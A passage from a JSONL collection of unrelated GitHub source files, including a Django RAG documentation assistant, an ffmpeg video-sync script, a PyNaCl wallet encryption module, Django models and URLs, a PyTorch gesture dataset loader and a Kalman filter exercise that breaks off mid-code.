documentation.\n \"\"\"\n\n answer = None\n\n # When a POST request is received\n if request.method == 'POST':\n # Extract the user's query\n query = request.POST.get('question')\n # system message - get. if none, set to None\n system_message = request.POST.get('system_message')\n if system_message == '':\n system_message = None\n \n print(f'QUERY: {query}')\n print(f'SYSTEM MESSAGE: {system_message}')\n\n # Get the vector representation of the query using OpenAI's Text Embedding API\n query_embedding = get_embedding(query)\n\n # Search the Pinecone index to find the documents most similar to the query\n embeddings = query_pinecone(query_embedding, top_k=5)\n matches = embeddings['matches']\n \n # Create a dictionary of links to supporting text for each matching document\n supporting_text = {}\n \n for i in matches:\n link = i['id']\n header = link.split('/')[-1]\n subheader = link.split('/')[-2]\n\n # Capitalize the first letter of the header and replace dashes with spaces\n header = header[0].upper() + header[1:]\n subheader = subheader[0].upper() + subheader[1:]\n header = header.replace('-', ' ')\n subheader = subheader.replace('-', ' ')\n\n # Combine the subheader and header into a string representing the location of the supporting text\n \n if subheader == 'Docs.opensafely.org':\n subheader = header.replace('#', '')\n \n full_heading = f\"{subheader}: {header.replace('#', '')}\"\n \n\n text = i['metadata']['text']\n supporting_text[link] = [full_heading, text]\n \n supporting_text_content = [supporting_text[i][1] for i in supporting_text]\n \n supporting_text_headers = {i: supporting_text[i][0] for i in supporting_text}\n \n \n # Generate an answer to the user's query using GPT-3.5\n if system_message is None:\n print('NO SYSTEM MESSAGE. Using default')\n answer = generate_answer(query, supporting_text_content)\n else:\n print('SYSTEM MESSAGE. Using custom')\n print(f'SYSTEM MESSAGE: {system_message}')\n \n answer = generate_answer(query, supporting_text_content, system_message=system_message)\n\n # If the answer contains a code block, as indicated by ``` at the start and end of the answer, \n # then separate out the code blocks from the text\n code_block_indices = []\n if '```' in answer:\n answer = answer.split('```')\n num_splits = len(answer)\n if num_splits % 2 != 0:\n for i in range(1, num_splits, 2):\n code_block_indices.append(i)\n\n # If the answer doesn't contain any code blocks, wrap it in a list so it can be easily processed in the template\n else:\n answer = [answer]\n code_block_indices = []\n\n \n # Render the index.html template with the answer, supporting text, and code block information\n return render(request, 'index.html', {'answer': answer, 'supporting_text': supporting_text_headers, 'code_block_indices': code_block_indices})\n\n # When a GET request is received\n return render(request, 'index.html', {'answer': answer})","repo_name":"LFISHER7/opensafely_copilot","sub_path":"copilot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25671736329","text":"from math import cos, asin, sqrt\nfrom natsort import natsorted, ns\nfrom moviepy.tools import subprocess_call\nimport os\nimport pandas\n\npathjan = '/Users/Rutwik/Documents/Skylark/Videoproc/jan_cleaned.csv'\npathapr = '/Users/Rutwik/Documents/Skylark/Videoproc/apr_cleaned.csv'\nvideojan = '/Users/Rutwik/Documents/Skylark/vidproc/jan.mp4'\nvideoapr = '/Users/Rutwik/Documents/Skylark/vidproc/april.mp4'\noutput = '/Users/Rutwik/Documents/Skylark/vidproc/outapr.mp4'\noutputin = '/Users/Rutwik/Documents/Skylark/vidproc/aprout.mp4'\noutfolder = '/Users/Rutwik/Documents/Skylark/aprproc/'\n\ndatajan = pandas.read_csv(pathjan)\ndataapr = pandas.read_csv(pathapr)\n\nlatlonjan = zip(datajan['latitude'], datajan['longitude'], datajan['time(millisecond)'])\nlatlonjanlist = list(latlonjan)\nlatlonjanlist = latlonjanlist[24:]\n\nlatlonapr = zip(dataapr['latitude'], dataapr['longitude'], dataapr['time(millisecond)'])\nlatlonaprlist = list(latlonapr)\nlatlonaprlist = latlonaprlist[221:]\nlatlonaprlist = latlonaprlist[::100]\n\n\ndef distance(lat1, lon1, lat2, lon2):\n p = 0.017453292519943295\n a = 0.5 - cos((lat2 - lat1) * p) / 2 + cos(lat1 * p) * cos(lat2 * p) * (1 - cos((lon2 - lon1) * p)) / 2\n return 12742 * asin(sqrt(a))\n\n\ndef closest(data, v):\n return min(data, key=lambda p: distance(v[0], v[1], p[0], p[1]))\n\n\ndef get_values(iterables, key_to_find):\n return list(filter(lambda x: key_to_find in x, iterables))\n\n\nfor r in range(len(latlonaprlist)):\n\n if r >= 1:\n\n latloncomp1 = latlonaprlist[r-1]\n latloncomp2 = latlonaprlist[r]\n timediffapr = latloncomp2[2]-latloncomp1[2]\n print(\"APR \" + str(distance(latloncomp1[0], latloncomp1[1], latloncomp2[0], latloncomp2[0])))\n print(\"TIME \" + str(timediffapr))\n\n try:\n janindex1 = latlonjanlist.index(latloncomp1)\n except ValueError:\n janindex1 = closest(latlonjanlist, latloncomp1)\n\n try:\n janindex2 = latlonjanlist.index(latloncomp2)\n except ValueError:\n janindex2 = closest(latlonjanlist, latloncomp2)\n\n timediffjan = janindex2[2]-janindex1[2]\n\n print(\"JAN \" + str(distance(janindex1[0], janindex1[1], janindex2[0], janindex2[0])))\n print(\"TIME \" + str(timediffjan))\n\n perctime = timediffjan / timediffapr\n print(\"PERCENT DIFF \" + str(perctime))\n\n x = latloncomp1[2]-52900\n secx = int((x / 1000) % 60)\n minx = int((x / (1000 * 60)) % 60)\n hrsx = int((x / (1000 * 60 * 60)) % 24)\n\n y = latloncomp2[2]-52900\n secy = int((y / 1000) % 60)\n miny = int((y / (1000 * 60)) % 60)\n hrsy = int((y / (1000 * 60 * 60)) % 24)\n\n cmdtrim = \"ffmpeg -y -i \" + videoapr + \" -ss \" + str(hrsx) + \":\" + str(minx) + \":\" + str(secx) + \" -to \" + str(hrsy) + \":\" + str(miny) + \":\" + str(secy) + \" -c copy \" + \"/Users/Rutwik/Documents/Skylark/aprproc/\" + str(r) + \".mp4\"\n subprocess_call(cmdtrim.split())\n\n cmdspeed = \"ffmpeg -y -an -i \" + \"/Users/Rutwik/Documents/Skylark/aprproc/\" + str(r) + \".mp4 -r 30\" + \" -filter_complex [0:v]setpts=\" + str(perctime) + \"*PTS[v] -map [v] \" + \"/Users/Rutwik/Documents/Skylark/aprproc/aprout\" +str(r)+\".mp4\"\n subprocess_call(cmdspeed.split())\n\n print('\\n')\n\n\nvids=[]\nfor f in os.listdir(outfolder):\n\n if f.startswith('aprout'):\n\n vids.append(\"file '\" + outfolder + f + \"'\")\n\nsortvids = natsorted(vids)\nprint(sortvids)\n\nwith open(\"/Users/Rutwik/Documents/Skylark/aprproc/filemp4.txt\", mode='wt') as output:\n output.write('\\n'.join((line) for line in sortvids))\n\n\n# Concatenate code:-\n\n# cmdmerge = \"ffmpeg -f concat -safe 0 -i /Users/Rutwik/Documents/Skylark/aprproc/filemp4.txt -c copy -sn -y /Users/Rutwik/Documents/Skylark/aprproc/output_file.mp4\"\n#\n# subprocess_call(cmdmerge.split())\n","repo_name":"rutwikc47/videosync","sub_path":"sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38314150058","text":"\"\"\"Cryptography functions used by BasicWallet.\"\"\"\n\nimport json\n\nfrom collections import OrderedDict\nfrom typing import Callable, Optional, Sequence, Tuple\n\nimport nacl.bindings\nimport nacl.exceptions\nimport nacl.utils\n\nfrom marshmallow import fields, Schema, ValidationError\n\nfrom .error import WalletError\nfrom .util import bytes_to_b58, bytes_to_b64, b64_to_bytes, b58_to_bytes\n\n\nclass PackMessageSchema(Schema):\n \"\"\"Packed message schema.\"\"\"\n\n protected = fields.Str(required=True)\n iv = fields.Str(required=True)\n tag = fields.Str(required=True)\n ciphertext = fields.Str(required=True)\n\n\nclass PackRecipientHeaderSchema(Schema):\n \"\"\"Packed recipient header schema.\"\"\"\n\n kid = fields.Str(required=True)\n sender = fields.Str(required=False, allow_none=True)\n iv = fields.Str(required=False, allow_none=True)\n\n\nclass PackRecipientSchema(Schema):\n \"\"\"Packed recipient schema.\"\"\"\n\n encrypted_key = fields.Str(required=True)\n header = fields.Nested(PackRecipientHeaderSchema(), required=True)\n\n\nclass PackRecipientsSchema(Schema):\n \"\"\"Packed recipients schema.\"\"\"\n\n enc = fields.Constant(\"xchacha20poly1305_ietf\", required=True)\n typ = fields.Constant(\"JWM/1.0\", required=True)\n alg = fields.Str(required=True)\n recipients = fields.List(fields.Nested(PackRecipientSchema()), required=True)\n\n\ndef create_keypair(seed: bytes = None) -> Tuple[bytes, bytes]:\n \"\"\"\n Create a public and private signing keypair from a seed value.\n\n Args:\n seed: Seed for keypair\n\n Returns:\n A tuple of (public key, secret key)\n\n \"\"\"\n if not seed:\n seed = random_seed()\n pk, sk = nacl.bindings.crypto_sign_seed_keypair(seed)\n return pk, sk\n\n\ndef random_seed() -> bytes:\n \"\"\"\n Generate a random seed value.\n\n Returns:\n A new random seed\n\n \"\"\"\n return nacl.utils.random(nacl.bindings.crypto_box_SEEDBYTES)\n\n\ndef seed_to_did(seed: str) -> str:\n \"\"\"\n Derive a DID from a seed value.\n\n Args:\n seed: The seed to derive\n\n Returns:\n The DID derived from the seed\n\n \"\"\"\n seed = validate_seed(seed)\n verkey, _ = create_keypair(seed)\n did = bytes_to_b58(verkey[:16])\n return did\n\n\ndef sign_pk_from_sk(secret: bytes) -> bytes:\n \"\"\"Extract the verkey from a secret signing key.\"\"\"\n seed_len = nacl.bindings.crypto_sign_SEEDBYTES\n return secret[seed_len:]\n\n\ndef validate_seed(seed: (str, bytes)) -> bytes:\n \"\"\"\n Convert a seed parameter to standard format and check length.\n\n Args:\n seed: The seed to validate\n\n Returns:\n The validated and encoded seed\n\n \"\"\"\n if not seed:\n return None\n if isinstance(seed, str):\n if \"=\" in seed:\n seed = b64_to_bytes(seed)\n else:\n seed = seed.encode(\"ascii\")\n if not isinstance(seed, bytes):\n raise WalletError(\"Seed value is not a string or bytes\")\n if len(seed) != 32:\n raise WalletError(\"Seed value must be 32 bytes in length\")\n return seed\n\n\ndef sign_message(message: bytes, secret: bytes) -> bytes:\n \"\"\"\n Sign a message using a private signing key.\n\n Args:\n message: The message to sign\n secret: The private signing key\n\n Returns:\n The signature\n\n \"\"\"\n result = nacl.bindings.crypto_sign(message, secret)\n sig = result[: nacl.bindings.crypto_sign_BYTES]\n return sig\n\n\ndef verify_signed_message(signed: bytes, verkey: bytes) -> bool:\n \"\"\"\n Verify a signed message according to a public verification key.\n\n Args:\n signed: The signed message\n verkey: The verkey to use in verification\n\n Returns:\n True if verified, else False\n\n \"\"\"\n try:\n nacl.bindings.crypto_sign_open(signed, verkey)\n except nacl.exceptions.BadSignatureError:\n return False\n return True\n\n\ndef prepare_pack_recipient_keys(\n to_verkeys: Sequence[bytes], from_secret: bytes = None\n) -> Tuple[str, bytes]:\n \"\"\"\n Assemble the recipients block of a packed message.\n\n Args:\n to_verkeys: Verkeys of recipients\n from_secret: Secret to use for signing keys\n\n Returns:\n A tuple of (json result, key)\n\n \"\"\"\n cek = nacl.bindings.crypto_secretstream_xchacha20poly1305_keygen()\n recips = []\n\n for target_vk in to_verkeys:\n target_pk = nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(target_vk)\n if from_secret:\n sender_pk = sign_pk_from_sk(from_secret)\n sender_vk = bytes_to_b58(sender_pk).encode(\"ascii\")\n enc_sender = nacl.bindings.crypto_box_seal(sender_vk, target_pk)\n sk = nacl.bindings.crypto_sign_ed25519_sk_to_curve25519(from_secret)\n\n nonce = nacl.utils.random(nacl.bindings.crypto_box_NONCEBYTES)\n enc_cek = nacl.bindings.crypto_box(cek, nonce, target_pk, sk)\n else:\n enc_sender = None\n nonce = None\n enc_cek = nacl.bindings.crypto_box_seal(cek, target_pk)\n\n recips.append(\n OrderedDict(\n [\n (\"encrypted_key\", bytes_to_b64(enc_cek, urlsafe=True)),\n (\n \"header\",\n OrderedDict(\n [\n (\"kid\", bytes_to_b58(target_vk)),\n (\n \"sender\",\n bytes_to_b64(enc_sender, urlsafe=True)\n if enc_sender\n else None,\n ),\n (\n \"iv\",\n bytes_to_b64(nonce, urlsafe=True)\n if nonce\n else None,\n ),\n ]\n ),\n ),\n ]\n )\n )\n\n data = OrderedDict(\n [\n (\"enc\", \"xchacha20poly1305_ietf\"),\n (\"typ\", \"JWM/1.0\"),\n (\"alg\", \"Authcrypt\" if from_secret else \"Anoncrypt\"),\n (\"recipients\", recips),\n ]\n )\n return json.dumps(data), cek\n\n\n# def locate_pack_recipient_key(\n# recipients: Sequence[dict], find_key: Callable\n# ) -> Tuple[bytes, str, str]:\n# \"\"\"\n# Locate pack recipient key.\n\n# Decode the encryption key and sender verification key from a\n# corresponding recipient block, if any is defined.\n\n# Args:\n# recipients: Recipients to locate\n# find_key: Function used to find private key\n\n# Returns:\n# A tuple of (cek, sender_vk, recip_vk_b58)\n\n# Raises:\n# ValueError: If no corresponding recipient key found\n\n# \"\"\"\n# not_found = []\n# for recip in recipients:\n# if not recip or \"header\" not in recip or \"encrypted_key\" not in recip:\n# raise ValueError(\"Invalid recipient header\")\n\n# recip_vk_b58 = recip[\"header\"].get(\"kid\")\n# secret = find_key(recip_vk_b58)\n# if secret is None:\n# not_found.append(recip_vk_b58)\n# continue\n# recip_vk = b58_to_bytes(recip_vk_b58)\n# pk = nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(recip_vk)\n# sk = nacl.bindings.crypto_sign_ed25519_sk_to_curve25519(secret)\n\n# encrypted_key = b64_to_bytes(recip[\"encrypted_key\"], urlsafe=True)\n\n# nonce_b64 = recip[\"header\"].get(\"iv\")\n# nonce = b64_to_bytes(nonce_b64, urlsafe=True) if nonce_b64 else None\n# sender_b64 = recip[\"header\"].get(\"sender\")\n# enc_sender = b64_to_bytes(sender_b64, urlsafe=True) if sender_b64 else None\n\n# if nonce and enc_sender:\n# sender_vk_bin = nacl.bindings.crypto_box_seal_open(enc_sender, pk, sk)\n# sender_vk = sender_vk_bin.decode(\"ascii\")\n# sender_pk = nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(\n# b58_to_bytes(sender_vk_bin)\n# )\n# cek = nacl.bindings.crypto_box_open(encrypted_key, nonce, sender_pk, sk)\n# else:\n# sender_vk = None\n# cek = nacl.bindings.crypto_box_seal_open(encrypted_key, pk, sk)\n# return cek, sender_vk, recip_vk_b58\n# raise ValueError(\"No corresponding recipient key found in {}\".format(not_found))\n\ndef ed25519_pk_to_curve25519(public_key: bytes) -> bytes:\n \"\"\"Covert a public Ed25519 key to a public Curve25519 key as bytes.\"\"\"\n return nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(public_key)\n\n\ndef encrypt_plaintext(\n message: str, add_data: bytes, key: bytes\n) -> Tuple[bytes, bytes, bytes]:\n \"\"\"\n Encrypt the payload of a packed message.\n\n Args:\n message: Message to encrypt\n add_data:\n key: Key used for encryption\n\n Returns:\n A tuple of (ciphertext, nonce, tag)\n\n \"\"\"\n nonce = nacl.utils.random(nacl.bindings.crypto_aead_chacha20poly1305_ietf_NPUBBYTES)\n message_bin = message.encode(\"ascii\")\n output = nacl.bindings.crypto_aead_chacha20poly1305_ietf_encrypt(\n message_bin, add_data, nonce, key\n )\n mlen = len(message)\n ciphertext = output[:mlen]\n tag = output[mlen:]\n return ciphertext, nonce, tag\n\n\ndef decrypt_plaintext(\n ciphertext: bytes, recips_bin: bytes, nonce: bytes, key: bytes\n) -> str:\n \"\"\"\n Decrypt the payload of a packed message.\n\n Args:\n ciphertext:\n recips_bin:\n nonce:\n key:\n\n Returns:\n The decrypted string\n\n \"\"\"\n output = nacl.bindings.crypto_aead_chacha20poly1305_ietf_decrypt(\n ciphertext, recips_bin, nonce, key\n )\n return output.decode(\"ascii\")\n\n\ndef encode_pack_message(\n message: str, to_verkeys: Sequence[bytes], from_secret: bytes = None\n) -> bytes:\n \"\"\"\n Assemble a packed message for a set of recipients, optionally including the sender.\n\n Args:\n message: The message to pack\n to_verkeys: The verkeys to pack the message for\n from_secret: The sender secret\n\n Returns:\n The encoded message\n\n \"\"\"\n recips_json, cek = prepare_pack_recipient_keys(to_verkeys, from_secret)\n recips_b64 = bytes_to_b64(recips_json.encode(\"ascii\"), urlsafe=True)\n\n ciphertext, nonce, tag = encrypt_plaintext(message, recips_b64.encode(\"ascii\"), cek)\n\n data = OrderedDict(\n [\n (\"protected\", recips_b64),\n (\"iv\", bytes_to_b64(nonce, urlsafe=True)),\n (\"ciphertext\", bytes_to_b64(ciphertext, urlsafe=True)),\n (\"tag\", bytes_to_b64(tag, urlsafe=True)),\n ]\n )\n return json.dumps(data).encode(\"ascii\")\n\n\ndef decode_pack_message(\n enc_message: bytes, find_key: Callable\n) -> Tuple[str, Optional[str], str]:\n \"\"\"\n Decode a packed message.\n\n Disassemble and unencrypt a packed message, returning the message content,\n verification key of the sender (if available), and verification key of the\n recipient.\n\n Args:\n enc_message: The encrypted message\n find_key: Function to retrieve private key\n\n Returns:\n A tuple of (message, sender_vk, recip_vk)\n\n Raises:\n ValueError: If the packed message is invalid\n ValueError: If the packed message reipients are invalid\n ValueError: If the pack algorithm is unsupported\n ValueError: If the sender's public key was not provided\n\n \"\"\"\n wrapper, recips, is_authcrypt = decode_pack_message_outer(enc_message)\n payload_key, sender_vk = None, None\n for recip_vk in recips:\n recip_secret = find_key(recip_vk)\n if recip_secret:\n payload_key, sender_vk = extract_payload_key(recips[recip_vk], recip_secret)\n break\n\n if not payload_key:\n raise ValueError(\n \"No corresponding recipient key found in {}\".format(tuple(recips))\n )\n if not sender_vk and is_authcrypt:\n raise ValueError(\"Sender public key not provided for Authcrypt message\")\n\n message = decode_pack_message_payload(wrapper, payload_key)\n return message, sender_vk, recip_vk\n\n\ndef decode_pack_message_outer(enc_message: bytes) -> Tuple[dict, dict, bool]:\n \"\"\"\n Decode the outer wrapper of a packed message and extract the recipients.\n\n Args:\n enc_message: The encrypted message\n\n Returns: a tuple of the decoded wrapper, recipients, and authcrypt flag\n\n \"\"\"\n try:\n wrapper = PackMessageSchema().loads(enc_message)\n except ValidationError:\n raise ValueError(\"Invalid packed message\")\n\n recips_json = b64_to_bytes(wrapper[\"protected\"], urlsafe=True).decode(\"ascii\")\n try:\n recips_outer = PackRecipientsSchema().loads(recips_json)\n except ValidationError:\n raise ValueError(\"Invalid packed message recipients\")\n\n alg = recips_outer[\"alg\"]\n is_authcrypt = alg == \"Authcrypt\"\n if not is_authcrypt and alg != \"Anoncrypt\":\n raise ValueError(\"Unsupported pack algorithm: {}\".format(alg))\n\n recips = extract_pack_recipients(recips_outer[\"recipients\"])\n return wrapper, recips, is_authcrypt\n\n\ndef decode_pack_message_payload(wrapper: dict, payload_key: bytes) -> str:\n \"\"\"\n Decode the payload of a packed message once the CEK is known.\n\n Args:\n wrapper: The decoded message wrapper\n payload_key: The decrypted payload key\n\n \"\"\"\n ciphertext = b64_to_bytes(wrapper[\"ciphertext\"], urlsafe=True)\n nonce = b64_to_bytes(wrapper[\"iv\"], urlsafe=True)\n tag = b64_to_bytes(wrapper[\"tag\"], urlsafe=True)\n\n payload_bin = ciphertext + tag\n protected_bin = wrapper[\"protected\"].encode(\"ascii\")\n message = decrypt_plaintext(payload_bin, protected_bin, nonce, payload_key)\n return message\n\n\ndef extract_pack_recipients(recipients: Sequence[dict]) -> dict:\n \"\"\"\n Extract the pack message recipients into a dict indexed by verkey.\n\n Args:\n recipients: Recipients to locate\n\n Raises:\n ValueError: If the recipients block is mal-formatted\n\n \"\"\"\n result = {}\n for recip in recipients:\n if not recip or \"header\" not in recip or \"encrypted_key\" not in recip:\n raise ValueError(\"Invalid recipient header\")\n\n recip_vk_b58 = recip[\"header\"].get(\"kid\")\n if not recip_vk_b58:\n raise ValueError(\"Blank recipient key\")\n if recip_vk_b58 in result:\n raise ValueError(\"Duplicate recipient key\")\n\n sender_b64 = recip[\"header\"].get(\"sender\")\n enc_sender = b64_to_bytes(sender_b64, urlsafe=True) if sender_b64 else None\n\n nonce_b64 = recip[\"header\"].get(\"iv\")\n if sender_b64 and not nonce_b64:\n raise ValueError(\"Missing iv\")\n elif not sender_b64 and nonce_b64:\n raise ValueError(\"Unexpected iv\")\n nonce = b64_to_bytes(nonce_b64, urlsafe=True) if nonce_b64 else None\n\n encrypted_key = b64_to_bytes(recip[\"encrypted_key\"], urlsafe=True)\n\n result[recip_vk_b58] = {\n \"sender\": enc_sender,\n \"nonce\": nonce,\n \"key\": encrypted_key,\n }\n return result\n\n\ndef extract_payload_key(sender_cek: dict, recip_secret: bytes) -> Tuple[bytes, str]:\n \"\"\"\n Extract the payload key from pack recipient details.\n\n Returns: A tuple of the CEK and sender verkey\n \"\"\"\n recip_vk = sign_pk_from_sk(recip_secret)\n recip_pk = nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(recip_vk)\n recip_sk = nacl.bindings.crypto_sign_ed25519_sk_to_curve25519(recip_secret)\n\n if sender_cek[\"nonce\"] and sender_cek[\"sender\"]:\n sender_vk_bin = nacl.bindings.crypto_box_seal_open(\n sender_cek[\"sender\"], recip_pk, recip_sk\n )\n sender_vk = sender_vk_bin.decode(\"ascii\")\n sender_pk = nacl.bindings.crypto_sign_ed25519_pk_to_curve25519(\n b58_to_bytes(sender_vk_bin)\n )\n cek = nacl.bindings.crypto_box_open(\n sender_cek[\"key\"], sender_cek[\"nonce\"], sender_pk, recip_sk\n )\n else:\n sender_vk = None\n cek = nacl.bindings.crypto_box_seal_open(sender_cek[\"key\"], recip_pk, recip_sk)\n return cek, sender_vk\n","repo_name":"MetaBloxIO/metablox-cloud-agent-proxy","sub_path":"wallet/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":16128,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"12314721621","text":"from django.urls import include,path\nfrom core import views\n\nurlpatterns = [\n path('logout/', include('django.contrib.auth.urls'), name='logout'),\n path('home/', views.AuthClass.as_view(), name='home_page'),\n path('main/',views.CsvMainPageClass.as_view(),name='main_page'),\n path('csv_list/',views.CsvListView.as_view(),name='csv_list'),\n path('delete//', views.CsvDeleteView.as_view(), name='csv_delete'),\n path('csv_generate//', views.CsvClassView.as_view(), name='csv_generate'),\n\n]\n","repo_name":"Yurasblv/csv_creator","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73117752782","text":"import re\nimport itertools\nimport numpy as np\nimport time\nimport string\nimport math\n\ninstructions = open(\"2016/day6.txt\").read().splitlines()\nfake_array = []\nfor row in instructions:\n fake_array.append(list(row))\n\narray = np.asarray(fake_array)\nend_string = \"\"\n\nfor x_index in range(8):\n y_index = 0\n alphabet_dict = {k:0 for k in string.ascii_lowercase}\n #load up alphabet_dict\n while y_index < len(array):\n alphabet_dict[array[y_index][x_index]] += 1\n y_index += 1\n #find most common letter\n largest_value = math.inf\n largest_letter = \"\"\n letter_dict = {k:v for k,v in alphabet_dict.items() if v != 0}\n for k, v in letter_dict.items():\n if v < largest_value:\n largest_value = v\n largest_letter = k\n end_string += largest_letter\n\nprint(end_string)\n#part1 wkbvmikb first try! even reused some code from day4\n#part2 evakwaga first try! did this challenge super fast, maybe like ten minutes in all. super surprised my dict comprehension worked first try too!","repo_name":"EnderFlop/advent_of_code","sub_path":"2016/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14251876643","text":"from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom v1.constance import Constance\n\n\nclass Progress(models.Model):\n job_seeker = models.ForeignKey(\n \"v1.JobSeeker\",\n on_delete=models.CASCADE,\n related_name=\"job_seeker\",\n verbose_name=_(\"求職者\"),\n )\n progress = models.CharField(\n verbose_name=_(\"進捗\"),\n max_length=100,\n choices=Constance.PROGRESS,\n )\n implementation_at = models.DateField(verbose_name=_(\"実施日\"))\n author = models.ForeignKey(\n \"v1.User\",\n on_delete=models.SET_NULL,\n related_name=\"author\",\n verbose_name=_(\"作成者\"),\n null=True,\n )\n is_implementation = models.BooleanField(verbose_name=_(\"実施\"))\n\n is_result = models.BooleanField(verbose_name=_(\"結果\"))\n\n class Meta:\n verbose_name = _(\"進捗情報\")\n","repo_name":"orekentaro/recruitment-management","sub_path":"api/v1/models/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18767628063","text":"\n\"\"\"\nHeekyung Kim\nCS5330 SP 23\nFinal Project\nThis script contains code that preprocesses data and annotation before inputting into network\nReference: https://www.learnpytorch.io/04_pytorch_custom_datasets/#5-option-2-loading-image-data-with-a-custom-dataset\n\"\"\"\n\nimport os\nimport glob\nfrom pathlib import Path\nimport torchvision\nimport torch\nfrom torchvision.io import read_image\nfrom torch.utils.data import Dataset\nimport pandas as pd\nimport xml.etree.ElementTree as ET\nfrom torchvision.models.detection import SSDLite320_MobileNet_V3_Large_Weights\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\nfrom label_dict import label_index\nimport matplotlib.patches as patches\n\n# Convert annotation file in XML format to csv\ndef xml_to_csv(path):\n xml_list = []\n classes_names = []\n\n for xml_file in list(Path(path).glob('*/*.xml')):\n tree = ET.parse(xml_file)\n root = tree.getroot()\n for member in root.findall('object'):\n\n value = (\n root.find('filename').text,\n member[0].text,\n float(member[5][0].text),\n float(member[5][1].text),\n float(member[5][2].text),\n float(member[5][3].text)\n )\n \n xml_list.append(value)\n classes_names.append(member[0].text)\n\n column_name = ['filename', 'class', 'xmin', 'ymin', 'xmax', 'ymax']\n xml_df = pd.DataFrame(xml_list, columns=column_name)\n classes_names = list(set(classes_names))\n classes_names.sort()\n\n csv_fname = path + \"/annotation_file.csv\"\n\n print(\"Converted XML\")\n print(xml_df)\n \n pd.DataFrame.to_csv(xml_df, csv_fname, index=False)\n print(f\"Saved to csv file: {csv_fname}\")\n\n return xml_df, classes_names\n\n\n# Custom data set class\n# Has function of ImageFolder() from pytorch\n# Images has to be 720 x 1280\n# mogrify -resize 1280x720! ./train/background/*.png\nclass ImageDataset(Dataset):\n def __init__(self, df_annotation, img_dir):\n self.img_annotation = df_annotation\n self.img_dir = img_dir\n self.img_paths = list(Path(img_dir).glob(\"*/*.png\"));\n # Use transformer used for the pretrained model\n self.transform = SSDLite320_MobileNet_V3_Large_Weights.DEFAULT.transforms() \n\n\n def __len__(self):\n return len(self.img_paths)\n\n\n def __getitem__(self, idx):\n img_path = self.img_paths[idx]\n image = read_image(str(img_path))\n label = self.img_annotation.iloc[idx, 1]\n\n x_min = self.img_annotation.iloc[idx, 2]\n y_min = self.img_annotation.iloc[idx, 3]\n x_max = self.img_annotation.iloc[idx, 4]\n y_max = self.img_annotation.iloc[idx, 5]\n bbox = [x_min, y_min, x_max, y_max] \n\n target = {}\n target[\"boxes\"] = torch.as_tensor([bbox], dtype=torch.float32)\n target[\"labels\"] = torch.as_tensor([label_index[label][\"id\"]])\n\n image = self.transform(image)\n\n return image, target\n","repo_name":"hkimkim/hand-gesture-music-controller","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"4070057170","text":"import numpy as np\n\ndef update1d(mean1, var1, mean2, var2):\n new_mean = (var2 * mean1 + var1 * mean2) / (var1 + var2)\n new_var = 1 / (1 / var1 + 1 / var2)\n return new_mean, new_var\n\ndef predict1d(mean1, var1, mean2, var2):\n new_mean = mean1 + mean2\n new_var = var1 + var2\n return new_mean, new_var\n\n\ndef test1d():\n # measurement uncertainty\n measurement_sig = 4\n # motion uncertainty\n motion_sig = 2\n\n mu = 0\n sig = 10000\n\n # test values\n measurements = [5, 6, 7, 9, 10]\n motions = [1, 1, 2, 1, 1]\n for i in range(len(measurements)):\n mu, sig = update1d(mu, sig, measurements[i], measurement_sig)\n print(\"update: \", mu, sig)\n mu, sig = predict1d(mu, sig, motions[i], motion_sig)\n print(\"predict: \", mu, sig)\n\ndef filter(x, P, u, F, H, R, I, measurements):\n\n for measurement in measurements:\n x = np.matmul(F, x) + u\n P = np.matmul(np.matmul(F, P), np.transpose(F))\n\n Z = np.array([measurement])\n y = np.transpose(Z) - np.matmul(H, x)\n S = np.matmul(np.matmul(H, P), np.transpose(H)) + R\n K = np.matmul(np.matmul(P, np.transpose(H)), np.linalg.inv(S))\n x = x + np.matmul(K, y)\n P = np.matmul(I - np.matmul(K, H), P)\n\n print(x)\n print(\"---\")\n print(P)\n\ndef test2d():\n measurements = [1,2,3]\n\n x = np.array([[0.], [0.]]) # initial state (location and velocity)\n P = np.array([[1000., 0.], [0., 1000.]]) # initial uncertainty\n u = np.array([[0.], [0.]]) # external motion\n F = np.array([[1., 1.], [0, 1.]]) # next state function\n H = np.array([[1., 0.]]) # measurement function\n R = np.array([[1.]]) # measurement uncertainty\n I = np.array([[1., 0.], [0., 1.]]) # identity matrix\n\n filter(x, P, u, F, H, R, I, measurements)\n\ndef test4d():\n measurements = [ \n [5., 10.],\n [6., 8.],\n [7., 6.],\n [8., 4.],\n [9., 2.],\n [10., 0.] ]\n initial_xy = [4., 12.]\n\n # measurements = [[1., 4.], [6., 0.], [11., -4.], [16., -8.]]\n # initial_xy = [-4., 8.]\n\n # measurements = [[1., 17.], [1., 15.], [1., 13.], [1., 11.]]\n # initial_xy = [1., 19.]\n\n dt = 0.1\n\n # initial state (location and velocity)\n x = np.array(\n [ [initial_xy[0]],\n [initial_xy[1]],\n [0.],\n [0.] ] )\n\n # external motion\n u = np.array(\n [ [0.],\n [0.],\n [0.],\n [0.] ] )\n\n # initial uncertainty: 0 for positions x and y, 1000 for the two velocities\n P = np.array(\n [ [0., 0., 0., 